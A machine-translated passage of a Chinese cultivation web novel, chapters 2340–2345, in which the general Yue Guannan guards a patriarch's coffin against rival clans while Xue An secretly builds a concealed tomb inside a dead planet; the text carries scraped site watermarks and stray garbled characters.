    This question of him was actually what Long Yushu and Sima Chongchao wanted to ask for a long time.


    Because after entering Yue''s house, they haven''t seen Xue An''s shadow.


    Mi He Mi. The two girls explained: "The envoy Xue Zhangbing is building a mausoleum for the owner of the family, so it''s not here!"


    Hearing this, everyone couldn''t help but suddenly.


    Immediately, Sima Chongchao and Long Yushu''s faces showed an uncontrollable joy.


    It would be great if Xue An was not there.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2340： Guannan

    Zhong Li Wuwang seemed to have noticed something, he glanced at Long Yushu and Sima Chong, and then sneered: "It''s a pity, I originally wanted to meet Xue Zhangbingshi on this trip. Since he is not there, then I''ll just wait for him to come back here!"


    With that said, Zhong Li Wuwang walked straight to a corner not far away from Long Yushu and Sima Chongchao, staring at them instantly.


    Long Yushu and Sima Chongchao knew that the reason why Zhong Li Wuwang did this must be deliberate, but they were inconvenienced because this Zhongli Wuwang was notoriously difficult among soldiers.


    So even though he was staring at him as a thief, the two had no choice but to see it.


    The atmosphere instantly became weird.


    Gu Wangya couldn''t help but smile at Zhong Li Wuwang, who looked at him, and Long Yushu and Sima Chongchao, who looked very unnatural.


    As the saying goes, the wicked have to be grinded by the wicked. This really makes sense!


    Just as Gu Wangya sighed in his heart, the Song family also arrived.


    However, seeing Song Yuze dressed in plain clothes and performing the worship ceremony with a solemn expression, he took a deep look at the two of Long Yushu who were aside.


    As early as on the road, he had learned the news, saying that Long Yushu and Sima Chongchao did not leave after the worship, but stayed, as if they were planning to commit a crime.


    really.


    The situation at the scene is the same as the rumors.


    But what''s interesting is that Gu''s family and Zhongli''s people didn''t even leave. Instead, they were separated in two corners, faintly forming a rivalry with the Long family and the Sima family.


    Sacrifice like 7huan.com Sacrifice like. Song Yuze groaned when he saw it, and then took the initiative to find an inconspicuous corner and sit down.


    Decrease bxW*x. The Song family is already weak, so naturally they need to ascertain the awkward situation ahead of time.


    As for the subsequent Lu family, Bai family, Tao family and other families, they all thought about the same as the Song family.


    So this huge atrium was soon filled with people, and all the eleven families were present.


    Among the Yue family crowd, the young man who hadn''t been involved in the world couldn''t help but ask the elder on the side.


    "What are these people going to do? Why don''t they leave?"


    There was anger in the eyes of this elder, "Some of these people are friends and they stayed out of good intentions, but some of them deceived me that the Yue family didn''t have a super strong man to sit in town, and deliberately stayed here to watch jokes!"


    As the elder of the Yue family said, the Yue family that lost the super strong man was like losing the main beam of the building, and it was in danger of dumping at any time.


    Just as the situation became more and more serious, I heard a scream from a distance.


    "Yue Shifang!"


    The voice was hoarse and harsh, reaching the ears of everyone present.


    Everyone looked up one after another, and then saw a figure rushing at lightning speed, and in the blink of an eye, it came to the sky above the atrium, and after landing, it was a person wearing an adamantine mask.


    His appearance caused a commotion in the audience.


    Especially in the Yue family camp, someone shouted with infinite surprise: "It''s the former Yue Zhang soldier!"


    The second girl and Yue Qinghuan trembled even more.


    Because the person who came was the same Yue Guannan who had led the Yue Family''s elite soldiers for thousands of years and was revered as the Yue Family''s God of War!


    Although the face she wears on her head has undergone many changes, her body shape and temperament are still the same as before, even more melancholy.


    The second girl and Yue Qinghuan did not expect that Yue Guannan would suddenly appear at this time.


    Just when they were stupefied and unspeakable, they saw this Yue Guannan jump directly in front of the coffin, and then froze in place.


    Above the coffin, Yue Shifang''s corpse was lying there quietly.


    In an instant, tears flowed from Yue Guannan''s eyes and rolled down this exquisite mask.


    She just stood there and cried silently.


    And the other eleven people who have separate lines also reacted differently after seeing him.


    Some were relieved, some were fortunate, but Long Yushu and Sima Chongchao looked at each other with gloomy faces, and they both saw the jealousy in each other''s eyes.


    You must know that Yue Guannan has been in charge of the Yue family''s elite soldiers for thousands of years, although he has not achieved much in the martial arts conference.


    But you must know that in these thousand years, Yue Shifang, the Patriarch, had been reincarnated several times by Bingjie.


    Each reincarnation of soldiers means a blank period of at least three years of strength, but the Yue family has never had trouble because of this for more than a thousand years, but passed smoothly under the control of Yue Guannan.


    This also shows the horror of Yue Guannan.


    It''s just that she suddenly disappeared some time ago, replaced by Xue An, whose identity has become a mystery.


    This made the Long Family and the Sima Family take a sigh of relief.


    Unexpectedly, she rushed to hear the news today.


    Now things get a little tricky.


    This is why Long Yushu and Sima Chongchao were so depressed.


    At this moment, Yue Guannan, who was choking silently, suddenly chuckled.


    It''s just that the laughter sounds so desperate.


    Amidst the laughter, her shoulders kept trembling, like a butterfly with its wings folded in a storm, helpless and desperate.


    "Brother, in fact, you are gone, so you don''t have to work so hard. UU reading will endure the pain of reincarnation over and over again! It''s just..."


    Yue Guannan paused, "It''s just that you are gone, what should I do?"


    At the end of the talk, Yue Guannan was already choked with speech.


    Those who heard it were all silent.


    Many people from the Yue family sobbed silently because of this.


    Only Long Yushu and Sima Chongchao seemed to have discovered some new world, and their eyes were bright.


    brother?


    She told Yue Shifang to call elder brother? What is the relationship between them?


    Just as they were puzzled, they saw Yue Guannan suddenly trembling and slowly took off the mask on his face, revealing the clear and refined cheeks below.


    It''s just that the face at this time was filled with tears, pale and terrible.


    After seeing this scene, the whole audience was shocked.


    Gu Wangya opened his eyes wide, and murmured in disbelief: "It turns out that this famous Yue Family God of War is a woman!"


    Zhong Li Wuwang''s expression was even more sluggish, and it was not until a long time later that he took a breath.


    "It turns out to be a woman, this is terrible!"


    In his opinion, it is simply incredible that Yue Guannan can achieve such brilliant achievements as a woman.


    Mi He Mi. As for the shock of others, it is beyond words.


    Even many people in the Yue family were shocked.


    Because there are only a few people in the Yue family who know the true identity of Yue Guannan.


    Only Long Yushu and Sima Chongchao quickly glanced at each other after the initial consternation, and then there was an indescribable look on their faces.


    Just like the jackals on the grassland that track their prey for many days, and finally peep into the phone, it is cruel and terrifying.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2341： 1 female is in the offense

    Yue Guannan raised his hand to turn the loose hair behind him into a bun, and then turned around to scan everyone present.


    Many people can''t help but avoid looking away.


    Without him.


    It was really that her eyes were too sharp and terrifying, like a sharp blade that made people cold.


    Even Long Yushu and Sima Chongchao, who had already made up their minds, couldn''t help but change slightly.


    At the same time, Yue Guannan grabbed the stool next to him and walked towards everyone.


    Under the awe-inspiring pressure, many people took a few steps back subconsciously.


    Then he saw Yue Guannan put down the stool in his hand heavily and sat down on his own.


    The atmosphere fell silent for a moment.


    Because people don''t know what Yue Guannan is going to do.


    Yue Guannan didn''t rush to explain, it was not until a long time later, she said slowly in a cold tone.


    "I know that many of you now think that Yue Shifang is dead, and the Yue family will become a plaything for bullying, but I just want to tell you that you are wrong!"


    Following the voice, seeing Yue Guannan suddenly raised his eyes, an extremely violent evil spirit emerged from his body.


    "With me, Yue Guannan, you and others will never want to make any storms!" Xiru 9bzw.com Xiru


    Every word she said reverberated in the field with supreme power, and it also made everyone disillusioned.


    At least I originally planned to take this opportunity to get some cheap Long Yushu and Sima Chongchao, their faces at this moment are extremely ugly.


    Because everyone knows who Yue Guannan is talking about, this is equivalent to pointing at the noses of the two of them and cursing the street, they naturally cannot accept it.


    Especially Sima Chongchao, who had the most ruthless temper, gritted his teeth, and then smiled sadly.


    "Yue Guannan, I really didn''t expect you to be Yue Shifang''s younger sister, but your age should be his younger sister in a certain life!"


    Yue Guannan raised his eyebrows slightly, "So what? Does Patriarch Sima still care about the private affairs of our Yue family?"


    "Hehe, I''m not interested in the troubles of your Yue family at all. I just want to know, what confidence do you have that dare to say the big talk just now, do you think you are still in charge of the Yue family?"


    Yue Guannan sneered, "If Patriarch Sima is not convinced, you can come and try now, and I will tell you how confident I am."


    Sima Chongchao was startled, and immediately laughed strangely.


    "Okay. This is what you asked for, don''t blame me for working at the funeral of your Yue Family Patriarch, after all, how can I be considered your elder!"


    Although he was very polite, Sima Chongchao''s hands were merciless.


    He rushed towards Yue Guannan who was sitting there like an arrow from the string, and at the same time he raised his hand and slashed it with a palm.


    This palm came fiercely, if it hit, it is estimated that Yue Guannan would have broken bones and tendons.


    But Yue Guannan didn''t evade this, instead he raised his eyes coldly and looked at this palm.


    Seeing that the palm of his hand was getting closer and closer to Yue Guannan''s face, Sima Chongchao''s face appeared cruel.


    What he likes most is destroying beautiful women like Yue Guannan with his own hands, which will give him a kind of almost pathological pleasure.


    Unexpectedly, the expected soft touch did not appear. On the contrary, Sima Chongchao felt a cold in his wrist, and then there was severe pain.


    When I lowered my head, I saw that my palm no longer knew when the wrist was broken, and blood was gushing out of the wound.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    "What''s the matter? What did you use to hurt me?"


    In fact, not only Sima Chongchao was shocked at this moment, but everyone present was stunned.


    Anyway, Sima Chongchao was also a quasi-sage-level cultivation base, his body was extremely hard, and it was difficult for ordinary treasures to leave a scratch on him.


    But just now, people didn''t notice any movement of Yue Guannan, and Sima Chongchao''s wrist was broken.


    This is naturally weird.


    However, seeing Yue Guannan holding Sima Chongchao''s severed palm in his hand, he completely ignored the blood on it, and smiled coldly: "Aren''t you surprised?"


    Following the voice, Yue Guannan gave a firm grip.


    Bang.


    This severed palm was crushed into fleshy powder by Yue Guan Nansheng.


    Sima Chongchao snorted, and a look of anger appeared in his eyes.


    Although this injury is nothing to him, it is extremely humiliating.


    Yue Guannan giggled, then raised his blood-stained finger and gently smeared it on his lips.


    In an instant, Yue Guannan''s lips turned red, which also added a touch of color to her pale cheeks.


    "Want to know what I used to hurt you, then you can come and try again!" Yue Guannan said quietly.


    But this time Sima Chongchao hesitated.


    Because he really didn''t know what kind of trump card Yue Guannan was holding in his hand.


    Just now, his wrist seemed to break suddenly, and this strange injury made him vigilant.


    As I said before, this Sima Chongchao is extremely cautious and suspicious by nature.


    Especially now Yue Guannan''s confident appearance made him even more alert.


    "Hmph, no matter what tricks you use, I don''t bother to be familiar with you, but I just want to tell you that you can protect the Yue family for a while, but UU reading can''t protect the Yue family!"


    After that, Sima Chongchao turned around to greet Long Yushu.


    "let''s go!"


    In fact, Long Yushu himself did not intend to leave, but now he and Sima Chongchao are already grasshoppers on the same rope.


    Now that Sima Chongchao was injured by Yue Guannan, he obviously couldn''t stay here any longer.


    He had to follow along and leave.


    When the two of them left, the atmosphere in the court instantly became relaxed.


    Everyone looked with awe at Yue Guannan, who was sitting in front of the coffin, like a general who was a general who was in charge of a man.


    Because she just retired the Patriarch of the Dangdang Sima Family in fear.


    Only the second girl''s eyes showed a hint of worry.


    Because she was the only one who knew what price Yue Guannan had paid for that blow.���bxW��x.*co��


    "Second girl, girl Yue, now that the Long family and Sima family are gone, there should be nothing wrong here, and our Gu family will also leave first, but I don''t know when the family leader Yue will go out?" Gu Wangya asked. Tao.


    The so-called big business is actually a funeral.


    The second girl bowed her head and said, "Xue An is supervising the construction of the tomb. It can be completed in seven days at most, and it will be a big time by then!"


    "Oh! That''s the case, then I will wait seven days to come again!" Gu Wangya said, then left. Mi He Mi


    As soon as she left, Zhonglijia, Song''s and other families also left.


    In the blink of an eye, the atrium, which had just been very lively, became quiet.


    Then the second girl got up and walked to Yue Guannan''s side, "They are all gone, don''t have to hold on, let''s rest!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2342： Punch a group of 2

    As soon as the words fell, Yue Guannan''s momentum was like a deflated ball, quickly wilting.


    Even her eyes became bleak.


    Despite this, sitting on the chair, her back is still upright as a sword.


    "There is no need to rest. There are still seven days before my brother goes to the funeral. A lot of things will definitely happen in these seven days. Let me guard it. It can be regarded as...send him the last trip!" Yue Guannan said in a low tone.


    The second girl didn''t give any advice, just nodded, "Okay!"


    Then he turned and sat down on his knees next to the coffin again.


    After such a turmoil, the people of the Yue family present became more and more united.


    Although the atmosphere is still dignified and gloomy, there is a little more indomitable spirit.


    At the same time, Xue An is also busy.


    This is a dead planet that has been abandoned.


    There is nothing but endless gravel on the ground.


    And just above such a worthless planet, a big hole with no bottom suddenly appeared.


    Suddenly, several rings flew up from the hole.


    Ao Shu, who was guarding the entrance of the cave, immediately caught Na Jie, then flew to the distance and opened the seal.


    Rumble!


    A huge amount of sand and earth were dumped directly, and a hill was piled up on the ground.


    And such hills have spread over half of the wilderness, and they look like piles of graves.


    And when Ao Shu finished dumping the earth in the several rings, he turned around and came to the entrance of the cave and threw it in again.


    She has been doing such a boring job for several days.


    To be honest, Ao Shu really didn''t understand what Xue An was doing.


    With his strength, if he did his best, he might have punched the planet through with a single punch.


    What''s more, I also added my own master this time, but it took such a long time, and it was still not finished.


    Therefore, Ao Shu is really curious about what Brother Ang is doing down there.


    But she did not dare to go down, because Xue An explained that she must firmly guard the entrance of the cave, and it is strictly forbidden to enter or leave the cave.


    Although this planet is extremely desolate, even a ghost shadow can not be seen, but Ao Shu still faithfully fulfilled Xue An''s orders and did not dare to slack in the slightest.


    At this time, we moved our sights below the entrance of the cave. After flying down for a certain distance, you will be surprised to find that the four walls of the entrance of the cave are faintly shining light.


    Although the light was faint, it firmly supported the entire cave, and the billions of tons of sand and gravel could not shake it.


    Sneak further down for hundreds of kilometers to reach the core of this planet.


    Although the planet is dead, the temperature here is still extremely high, and the sandstone rocks are squeezed into a semi-fluid solid with a dark red luster under the immense pressure and temperature.


    And in this hell-like environment, but seeing Xue An blasted out with a punch.


    Under a tremor, these semi-fluid solids in front of them were shaken into many fragments, and then Cha Wenliang quickly picked them up with the ring.


    The whole process can be described as a tacit understanding of the two.


    But Cha Wenliang did not see the slightest joy on his face.


    nonsense.


    No matter who you are, when you are forced to work in such an environment for several days, you will be very depressed and crazy.


    At least Cha Wenliang is now.


    Because he really didn''t know what Xue An planned to do.


    First, let Yue Shifang lie to death, which can be explained. After all, this method can lure those who hide in the dark with unpredictable intentions.


    But then Xue An actually started looking for a cemetery for Yue Shifang, and finally selected this planet.


    What happened next was a nightmare for Cha Wenliang, and Xue An almost asked him to help with work like a coax.


    And the beautiful name is that this is to build a tomb for Yue Shifang.


    But Cha Wen Liang really couldn''t understand that Yue Shifang was clearly guilty of death, so why did he need a grave?


    At this moment, I saw Xue An, after continuing to sneak down for a while, suddenly stood still, and then began to paint on the four walls of the cave entrance.


    And such a scene has appeared more than once before.


    In fact, every time after sneaking for a certain distance, Xue An would stop to draw the formation symbol on the four walls of the cave entrance.


    Decrease bXwX.co. Cha Wenliang can still understand this reluctantly, after all, without the support of the formation, this big hole is probably already collapsed.


    But the problem is that the character seal drawn by Xue An is obviously not that simple. The complicated lines alone make the scalp numb.


    Cha Wenliang finally couldn''t help it, and asked, "Xue An, what are you doing?"


    "Build a tomb for Yue Shifang!" Xue An had an expression that needed to ask you if you don''t know.


    Cha Wenliang was a little dumbfounded, "But the question is, didn''t you tell me that Yue Shifang was scammed to death? Why did you really build a tomb? And..."


    Cha Wenliang stretched out his hand to point to the invisible hole behind him, "Whose tomb can be buried so deep? You will reach the core of this planet if you go any further!"


    "Yes, I just want to bury Yue Shifang in the core of this planet." Xue An said lightly.


    Zha Wenliang blinked his eyes, suddenly stopped his movements and stared at Xue An.


    "Xue An!"


    "Ok?"


    "Do you know that I have been working in this ghost place for a few days?"


    "do not know!"


    "Four days! I didn''t even see the sun for four days, so I followed you to go crazy in this dark cave!"


    "So what do you want to say?" Xue An still kept moving, and UU Read just asked indifferently.


    "I just want to know what the **** are you doing? If you don''t say it, then I''m sorry, I won''t play this game anymore, please be smart!"


    Talking about Cha Wenliang, he wanted to go back.


    And at this moment, Xue An finally finished the work in his hands, and then he smiled: "Don''t be so careful, I didn''t tell you, who told you not to ask at all in the past few days!"


    Cha Wenliang almost spit out blood.


    Do you blame me for co-authoring this?


    Sacrifice like 7huan.com Sacrifice like. At this time, Xue An rubbed his wrist, looked at the dark red lava in front, and said lightly: "Actually, what I want to do is very simple, I intend to hide everything from it!"


    "Have you concealed all existence?" Cha Wenliang was startled.


    "That''s right!" Xue An turned his head, his eyes full of cold light.


    Mi He Mi. "Not only from the Yue family, but also the existence that seriously injured Yue Shifang and has been entangled to this day!"


    Cha Wenliang felt that he had guessed something faintly, but when he wanted to catch it, that feeling disappeared again.


    Xue An smiled, "It is only the first step for me to let Yue Shifang die by fraud. It is nothing more than to release a smoke screen first. It may be believed by the soldiers, but it should not be so easy to hurt Yue Shifang''s existence. Believe!"


    "And this tomb is the second step. Do you know why I chose such a desolate planet?"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2343： Plan and move

    "Why?" Cha Wenliang looked like a kid thirsty for knowledge now, staring at Xue An without blinking.


    "Because only such a planet has a very strong life-saving energy!"


    As soon as this remark came out, Cha Wenliang''s mind seemed to have a flash of lightning flashing, everything that had been hazy before became clear in an instant, and then his whole body trembled, looking at Xue An in disbelief.


    "You''re thinking����."


    Xue An nodded with a smile, "Yes, that''s what you think!"


    Cha Wenliang felt that the hairs all over his body were standing up, because if what he guessed was true, then Xue An''s layout was too deep, too far, and too terrifying.


    At the same time, Xue An said calmly: "Actually, I could have punched into the depths of this planet, but it is very likely that my breath will remain, and the whole plan will be flawed!"


    "So I can only use pure physical power to dig a little bit, and at the same time draw a symbolic array on the cave wall that shields all perceptions and is perfectly disguised as sand and gravel. In this way, as long as the time comes, Yue Shifang will be placed here. The core of this planet, then for the entire Tianwaitian, he has really disappeared completely."


    "And when that happens, it''s your turn to play!"


    "I understand, wait until the traces of his existence are completely erased, and then supplement his soul, so that the previous situation of being interrupted by indescribable power will no longer occur! Right?"


    Xue An nodded, "Yes! This is my whole plan!"


    Cha Wenliang took a breath, "It''s a good way to hide from the sky. At first, I thought your plan was just to induce the unstable factors in the military family through fraudulent death, and then remove them, and finally stabilize the situation!"


    Xue An smiled, "How can it be so simple after so much effort!"


    Cha Wenliang suddenly thought of something at this time, and frowned slightly: "Can this channel alone really block the prying eyes of existence?"


    "Naturally it won''t be that simple, so I plan to draw the entire planet into the circle after I have completed this channel, so as to deceive the heavens!"


    "Hi! This is a big project!" Cha Wenliang exclaimed.


    "It''s not that complicated!" Xue An pointed to the path behind him, "I told Ao Shu before to let her pile up the mound according to the direction I left. When the time comes, I will sort it out and the formation will be completed. "


    "You even counted this beforehand?" Cha Wenliang exclaimed. Sacrifice as suyingwang.net


    "Almost! The so-called planning and action, I must have a detailed plan before I can do it!"


    At this time, Zha Wenliang looked at Xue An with amazement.


    "I thought it would be a waste if you had such a good medical talent not to use it, but now I don''t think so."


    "Oh why?"


    "Because you are actually more suitable to be a counselor who hides in the dark and plays with the situation than the master of the medical road!"


    Xue An laughed.


    "What are you laughing at? What I said is true!"


    "I laughed because someone once said this to me. To put it bluntly, you just want to say that I am more suitable to be a conspirator?"


    "Well, that''s what I meant!" Cha Wenliang nodded.


    A murderous intent flashed in Xue An''s eyes, "Actually, I don''t want to do anything. If I have enough strength, I just want to overthrow the group who think they are aloof and wantonly play with the existence of others!"


    "That''s too right, I **** think so too! It''s a pity that my talent on the path of cultivation is so bad that I switched to the path of medicine in desperation!"


    Speaking of this, Zha Wenliang patted his thigh, "Damn, who can be a soldier who wants to be a nanny!"


    Xue An smiled and patted him on the shoulder, "Actually, nanny is also a very promising business, please work hard!"


    "Oh wrong!" Cha Wenliang suddenly thought of something at this time.


    "What''s wrong?"


    "If the existence that injured Yue Shifang had been paying attention to this matter, how can you guarantee that he would not send someone to investigate the situation on the spot?"


    "Especially now that Yue Shifang is still in the headquarters of the Yue family, if they use the excuse to come to worship, if they see the clues, won''t they lose all their efforts?"


    Xue An sighed, "I had already considered this matter, so I asked Yue Shifang how sure about this matter, and his reply was that no one knew death better than him."


    "And this is the only variable in the whole thing that I can''t control. Now I only hope that he can really do what he says. As long as he can survive the funeral, then this thing is complete!"


    "Is it as simple as holding a funeral? What if this group of people followed and even tried to dig the grave to find out?" Zha Wenliang frowned.


    Xue An smiled, with a hint of joking and cruelty in his smile.


    "If they really do that, then the offensive and defensive sides should change positions at that time, because once Yue Shifang''s injuries are healed, I believe he will use actual actions to tell this group of people who is the sword and who is the fish! "


    "Now I only hope that the second girl and Yue Qinghuan can calm down, even if someone comes to provoke them, they must not act rashly, otherwise they will completely abandon their previous achievements." Xue An said in a deep voice.


    Cha Wenliang sighed, "I hope so!"


    Xue An patted him on the shoulder with a smile, and said: "Okay, now the doubt in my heart is solved, should we hurry up? After all, there is still a lot of work to do! "


    Zha Wenliang looked at the smile on Xue An''s face, how he looked like a black foreman who squeezed the bottom laborers.


    "Oh, I take back what I just said, you are actually more suitable to be a black foreman!"


    Cha Wenliang muttered, then turned around and started to work.


    And when Xue An was very busy, just as Zha Wenliang had expected, a team jumped out of the void not far from the Soldier''s galaxy.


    Looking at the huge galaxy that looked like a giant tree, on top of the flagship ship headed by him, a man in luxurious clothes sneered. Diminish


    "What a magnificent galaxy, it''s a pity that the former glory of military strategists has gone, and what is left now is just a bunch of wine and rice bags!"


    There was a coquettish teasing voice behind him, "How come the senior official of Ximen suddenly became sentimental?"


    Along with the voice, there was a clear footstep.


    Just by the sound of these footsteps, you can hear what a swaying posture this woman is walking.


    But the man didn''t even turn his head, on the contrary, his face became a little ugly.


    "The surname is Pan, you''re so **** talking jokes here!"


    At this time, the woman finally walked to the man''s side, with the intoxicating fragrance, revealing a delicate and tender face like a flower.


    Then the woman giggled a few times and leaned in front of the man. Mi He Mi


    "Ximenhao, why am I talking coldly?"


    Despite the fascinating fragrance, Ximenhao stepped back like a snake, as if this woman was extremely terrifying.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2344： Idler stop

    "Pan Ruomei, you''d better stay away from me, don''t forget what we are here for!" Ximenhao said with an iron face.


    Pan Ruomei covered her mouth and chuckled, "Ximenhao, why are you so afraid of me? Can I still eat you?"


    Ximenhao''s complexion was extremely ugly, and he took a step back subconsciously.


    Because he knew very well that this celestial-looking woman was actually a master who cannibalize people without spitting out bones.


    Seeing Xi Menhao so vigilant, Pan Ruomei snorted uninterestingly, and the smile on his face instantly diminished.


    "It''s really boring, I wanted to play with you, but in the end I am so courageous, I really don''t count as a man!"


    As she said, she stretched lazily, and her thrilling lines were instantly revealed.


    "Call me when I disembark later, I''ll go squint for a while!"


    Then she swayed away.


    Sacrifice such as yunxuange.org sacrifice such as. Ximenhao gritted his teeth secretly, not at the attitude that Pan Ruomei had when he spoke, but he did not dare to provoke this beauty snake, so he could only hold back his breath and said coldly.


    "Go to the Yue family branch!"


    The fleet slowly turned around and moved towards the Yue Family.


    At the speed of this fleet, only an hour came before the Yue family branch, and finally stayed on the planet where the Yue family headquarters was located.


    After landing, the guards in front of the door were shocked by the loud noise.


    what happened?


    Why did a fleet suddenly come, and what did they come for?


    With these questions in mind, Yue Junze, who was in charge of guarding the front door, gave a wink, and the soldiers dispersed immediately, forming a defensive formation faintly.


    At this moment, the door of the fleet slowly opened, and it was a group of strong men who walked down first.


    Every body carried layers of evil spirits.


    After these people, there are Ximenhao and Pan Ruomei.


    I saw them stepping off the spaceship, and first looked up at the headquarters of the Yue family.


    When they saw the elegiac couplet hanging above the gate, they couldn''t help showing a strange look on their faces.


    Then the two walked towards the gate.


    Yue Junze sighed, "Stop, who are you? What are you doing here?"


    ���B��xwx��. Ximenhao smiled slightly and replied loudly: "We are the friends of the Patriarch Yue Shifang Yue, who have passed away suddenly, so we are here to worship!"


    With that said, Ximenhao threw something over it.


    "This is my courtesy post!"


    Yue Junze was taken aback.


    Patriarch''s friend before his death?


    He dubiously accepted the post, opened it, and saw three big gilt characters hot on it.


    Ximenhao!


    Simon?


    This surname is rarely seen in this outer sky!


    Yue Junze was thinking about what was going on.


    Ximenhao had already approached and said with a smile: "What? Isn''t it okay to come to worship? Is this the way your dignified soldiers treat guests?"


    Yue Junze gritted his teeth, and then stepped aside to open a path, "Of course it is possible to worship, but you are only allowed to go in, and everyone else must wait outside!"


    "That''s okay!" Ximenhao smiled.


    "But I have a problem!" Pan Ruomei said suddenly, then stepped forward and said with a smile: "Little brother, if he only allows him to go in, what about me?"


    "You?" Yue Junze looked at Pan Ruomei hesitantly.


    "That''s right, it''s me!" Pan Ruomei''s chest was puffed up, and the unspeakable existence immediately trembled.


    Yue Junze''s face quickly turned red at a speed visible to the naked eye, and then he turned his eyes awkwardly, not daring to look again.


    "Ahem, do you have a greeting, too?"


    Seeing the shyness of Yue Junze''s face, Pan Ruomei licked her lips, her expression was as if she wanted to swallow Yue Junze whole in one bite, and even the voice that brought her to talk became extremely soft and charming.


    "Although they don''t have a worshipping family, they are also Patriarch Yue''s former friends. This time I heard that he suddenly fell, and my heart hurts very much! If you don''t believe it, you can touch it!"


    With that said, Pan Ruomei was pretentious.


    Yue Junze was so scared that he backed away again and again, "No...no, I believe it, you go in too!"


    "Hehe, the little brother is really empathetic, sister likes it."


    After that, Pan Ruomei gave Yue Junze a charming look, and then he shook his waist and walked inside.


    Ximenhao''s face was almost turned into an iron plate, and his eyelids were beating frantically, and he kept meditating in his heart.


    I don''t know this bitch!


    Without him, it is really shameful.


    He even couldn''t understand exactly what Pan Ruomei thought, and he was actually in such a situation.


    But he didn''t dare to say, because he couldn''t provoke this Pan Ruomei regardless of his cultivation status or status.


    So he can only endure the anger in his chest and walk in with him.


    Across the veranda of the front yard, the two came to the atrium.


    It''s as usual here, except that there is an extra chair in front of the coffin.


    In fact, the majority of the Yue family has calmed down since the funeral, and accepted the fact that Yue Shifang had left.


    And after the first few days of excitement, the number of people who came to worship began to decrease drastically, and finally became completely deserted.


    The so-called people take the tea to cool, that is the case. UU reading


    But all this has nothing to do with Yue Guannan sitting there. She is like a monument, sitting there quietly, guarding the person she once loved the most, and may be the one she loves most in the future.


    This guardian was so silent, even in the past few days, she didn''t even say a word, just sat there silently, staring at the door in front of her.


    When Xi Menhao and Pan Ruomei walked in one after another, the eyes of everyone from the Yue family in the atrium instantly focused on them.


    Which naturally also includes Yue Guannan.


    I saw her eyes that were originally gloomy, as if they were lit by something, quickly brightened up.


    What followed was the majestic aura of Yue Guannan''s body.


    But Ximenhao and Pan Ruomei didn''t pay attention to this at all, their eyes were instantly attracted by the coffin placed in the middle of the atrium.


    Although separated by a certain distance, with their strength, they could see Yue Shifang lying quietly on the coffin at a glance.


    After a few days of stopping the spirit, his body has begun to wither, and there is no vitality at all.


    Seeing this scene, the two couldn''t help but glance at each other, and then walked forward unanimously.


    "Stop!"


    With a cold shout, the violent power instantly stopped the two of them from going.


    Then the two eager and eager talents woke up and looked up at Yue Guannan who was not far ahead.


    I saw Yue Guannan''s complexion as pale as paper, but his eyes were as cold as a cold pool.


    Mi He Mi. "If you want to worship, you can do it here, otherwise, idlers stop!"


    Ximenhao''s complexion suddenly sank, and he sneered: "It''s a joke. I have never heard of anyone who is not allowed to come forward even to worship!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2345： Nowhere

    With that said, he stepped forward regardless of his disregard.


    But his feet had just been lifted, and before they had fallen, an extremely strong sense of crisis suddenly rose in his heart.


    This feeling shocked him, and he took back the feet that had already stepped out.


    But maybe it was a bit slow, and I saw that the foremost part of his shoe was cut off by a sharp blade, all falling down.


    He can even see his toes.


    At this moment, Xi Menhao''s complexion instantly turned pale.


    Because he had no doubt that if his feet were retracted in the evening, then it was not just the shoes that were cut off.


    The point is that he hadn''t noticed any signs of the sitting woman beforehand.


    This attack seemed to have suddenly appeared out of thin air, which made people daunted.


    "I said, this road is blocked, can''t you hear it?" Yue Guannan said coldly.


    Ximenhao''s complexion can no longer be described as ugly.


    Because he didn''t take the Yue family seriously before coming.


    In his opinion, the Yue family who had lost the top powerhouse Yue Shifang was nothing more than a local chicken and dog, and it was easy to clean them up by himself.


    But I never expected that today, I just got here, and the people of the Yue family gave me a bit of prestige.


    How can this make his face stand up.


    At this moment, Pan Ruomei suddenly smiled.


    "This sister is such a powerful method!"


    Yue Guannan glanced at her and said coldly: "Who are you again?"


    "It doesn''t matter who I am. The important thing is that we came here today to pay homage to Patriarch Yue, but you stopped us here. Is this a bit unreasonable?"


    Yue Guannan raised his eyebrows slightly, "I don''t care whether it is reasonable or not, I only know that anyone has to stop here, if you want to pass, unless you step over my corpse!"


    The smile on Pan Ruomei''s face grew colder, "So there is no possibility of accommodation?"


    Yue Guannan didn''t say a word, but the boiling power on her body had already explained everything.


    "It''s a pity, such a beautiful little sister, I didn''t want to do it with you, but you are too stubborn!"


    As he said, Pan Ruomei waved her sleeves abruptly, and a strange fragrance came to her nose.


    In an instant, Yue Guannan felt that the scene in front of him changed rapidly.


    And Yue Shifang appeared behind him, he was looking at himself with a smile.


    "Sister, let''s be together!"


    These words coupled with the smile on his face made Yue Guannan''s heart beat.


    Isn''t this what she dreams of?


    Therefore, there was a look of obsession in her eyes, "Brother, is it really you?"


    "Of course it is me!"


    With that said, Yue Shifang walked forward with a smile, reaching out to hug Yue Guannan.


    A happy smile appeared on Yue Guannan''s face.


    There was a cruel look in the eyes of this "Yue Shifang". Minus bXW*


    But in the next instant, this cruel color turned into shock, and then he lowered his head and looked at the wound on his chest in disbelief.


    "How can it be?"


    Accompanied by this exclamation, the illusion around him receded like a tide.


    Then Pan Ruomei staggered back a few steps, a blood red between her chest and abdomen.


    "How did you detect it?" Pan Ruomei shouted hoarsely.


